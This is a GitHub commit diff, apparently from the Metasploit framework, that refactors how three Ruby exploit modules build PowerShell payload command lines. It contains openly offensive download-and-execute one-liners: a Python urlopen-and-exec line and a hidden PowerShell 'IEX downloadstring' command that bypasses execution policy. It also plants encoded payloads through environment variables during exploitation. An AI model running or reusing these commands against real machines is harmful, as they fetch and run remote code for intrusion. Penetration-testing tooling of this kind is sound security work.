File tree Expand file tree Collapse file tree 3 files changed +21
-3
lines changed Expand file tree Collapse file tree 3 files changed +21
-3
lines changed Original file line number Diff line number Diff line change @@ -87,7 +87,11 @@ def primer
87
87
print_line ( "python -c \" import urllib2; r = urllib2.urlopen('#{ url } '); exec(r.read());\" " )
88
88
when "PSH_x86" , "PSH_x64"
89
89
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{ url } '))"
90
- print_line ( "powershell.exe -w hidden -nop -ep bypass -c \" #{ download_and_run } \" " )
90
+ print_line generate_psh_command_line ( {
91
+ :noprofile => true ,
92
+ :windowstyle => 'hidden' ,
93
+ :command => download_and_run
94
+ } )
91
95
end
92
96
end
93
97
end
Original file line number Diff line number Diff line change @@ -79,7 +79,14 @@ def exploit
79
79
end
80
80
81
81
def primer
82
- cmd = cmd_psh_payload ( payload . encoded ) . gsub ( '%COMSPEC% /B /C start powershell.exe ' , '' ) . strip
82
+ cmd = cmd_psh_payload ( payload . encoded ,
83
+ payload_instance . arch . first ,
84
+ {
85
+ :remove_comspec => true
86
+ }
87
+ )
88
+
89
+ cmd . gsub! ( 'powershell.exe ' , '' )
83
90
session . railgun . kernel32 . SetEnvironmentVariableA ( "PSH_CMD" , cmd )
84
91
85
92
html_uri = "#{ get_uri } /#{ rand_text_alpha ( 4 + rand ( 4 ) ) } .html"
Original file line number Diff line number Diff line change @@ -148,7 +148,14 @@ def exploit
148
148
149
149
print_good ( ".NET looks vulnerable, exploiting..." )
150
150
151
- cmd = cmd_psh_payload ( payload . encoded ) . gsub ( '%COMSPEC% /B /C start powershell.exe ' , '' ) . strip
151
+ cmd = cmd_psh_payload ( payload . encoded ,
152
+ payload_instance . arch . first ,
153
+ {
154
+ :remove_comspec => true
155
+ }
156
+ )
157
+
158
+ cmd . gsub! ( 'powershell.exe ' , '' )
152
159
session . railgun . kernel32 . SetEnvironmentVariableA ( "PSHCMD" , cmd )
153
160
154
161
temp = get_env ( 'TEMP' )
You can’t perform that action at this time.
0 commit comments